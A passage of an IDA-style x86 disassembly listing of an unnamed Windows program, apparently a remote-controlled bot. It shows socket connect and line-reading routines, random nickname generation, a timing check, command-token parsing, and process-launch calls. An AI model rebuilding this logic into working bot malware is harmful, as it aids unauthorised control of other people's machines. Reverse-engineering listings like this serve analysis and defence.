		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449739
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 2801021h
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F40
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F40
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E0C04h
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E64
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E6C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F40
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E88
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E84
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E80
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E7C
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E78
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E74
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E70
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		call	near ptr 71AB9639h
		nop
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27F0367h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E94
		mov	ecx, off_444E98
		mov	[esp+0], eax
		mov	al, byte_448F40
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E9C
		rep stosd
		mov	ecx, off_444E8C
		mov	[esp+10h], edx
		mov	dx, word_444E90
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
